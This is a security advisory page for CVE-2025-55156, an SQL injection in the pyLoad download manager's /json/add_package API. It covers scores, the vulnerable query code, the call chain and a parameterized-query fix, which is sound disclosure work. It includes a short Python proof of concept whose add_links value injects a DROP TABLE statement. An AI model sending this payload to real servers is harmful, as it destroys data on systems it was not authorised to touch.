CVE-2025-55156
JSON

7.8high

PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter

Severity
7.8high CVSS:4.0 by GitHub_M
Exploit likelihood
0.39% (higher than 35% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-pwh4-6r3m-j2rfPYSEC-2026-1821

Description

pyLoad is the free and open-source Download Manager written in pure Python. Prior to version 0.5.0b3.dev91, the parameter add_links in API /json/add_package is vulnerable to SQL Injection. Attackers can modify or delete data in the database, causing data errors or loss. This issue has been patched in version 0.5.0b3.dev91.

Affected

Product or packageVersionsReported by
pyload pyload< 0.5.0b3.dev91CVE List
pyload-ng (PyPI)before 0.5.0b3.dev91GitHub Advisory Database, PyPA Advisory Database

All scores

GitHub_M7.8high CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
GitHubhigh CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
PyPA Advisory DatabaseNot scored CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Classification

CWE-89

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.

What each source says

CVE List

pyLoad is the free and open-source Download Manager written in pure Python. Prior to version 0.5.0b3.dev91, the parameter add_links in API /json/add_package is vulnerable to SQL Injection. Attackers can modify or delete data in the database, causing data errors or loss. This issue has been patched in version 0.5.0b3.dev91.

GitHub Advisory Database
Summary

The parameter add_links in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.

Details
@style.queue
    def update_link_info(self, data):
        """
        data is list of tuples (name, size, status, url)
        """
        self.c.executemany(
            "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
            data,
        )
        ids = []
        statuses = "','".join(x[3] for x in data)
        self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')")
        for r in self.c:
            ids.append(int(r[0]))
        return ids

statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because {statuses} is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.

  • Vulnerability Chain
josn_blueprint.py#add_package
src/pyload/core/api/__init__.py#add_package
src/pyload/core/managers/file_manager.py#add_links
src/pyload/core/threads/info_thread.py#run
src/pyload/core/threads/info_thread.py#update_info
src/pyload/core/managers/file_manager.py#update_file_info
src/pyload/core/database/file_database.py#update_link_info
PoC
import requests


if __name__ == "__main__":
    url = "http://localhost:8000/json/add_package"
    data = {
        "add_name": "My Downloads1",
        "add_dest": "0",
        "add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--",
        "add_password": "mypassword"
    }

    response = requests.post(url, cookies=your_cookies, data=data)
    print(response.status_code, response.text)
image
Remediation
def update_link_info(self, data):
   """
data is list of tuples (name, size, status, url)
"""
   self.c.executemany(
       "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
       data,
   )
   
   # 提取所有url
   urls = [x[3] for x in data]
   
   # 构建参数化查询,避免SQL注入
   placeholders = ','.join(['?'] * len(urls))
   query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)"
   self.c.execute(query, urls)
   
   ids = [int(row[0]) for row in self.c.fetchall()]
   return ids
Impact

Attackers can modify or delete data in the database, causing data errors or loss.

NVD (es)

pyLoad es un gestor de descargas gratuito y de código abierto escrito en Python puro. Antes de la versión 0.5.0b3.dev91, el parámetro add_links en la API /json/add_package era vulnerable a la inyección de SQL. Los atacantes pueden modificar o eliminar datos de la base de datos, lo que provoca errores o pérdida de datos. Este problema se ha corregido en la versión 0.5.0b3.dev91.

References

Sources

SourceRecordLicence
CVE ListCVE-2025-55156 changed 2025-08-12CVE Terms of Use
GitHub Advisory DatabaseGHSA-pwh4-6r3m-j2rf changed 2026-07-07CC-BY-4.0
NVDCVE-2025-55156 changed 2026-06-17Public domain
PyPA Advisory DatabasePYSEC-2026-1821 changed 2026-07-07CC-BY-4.0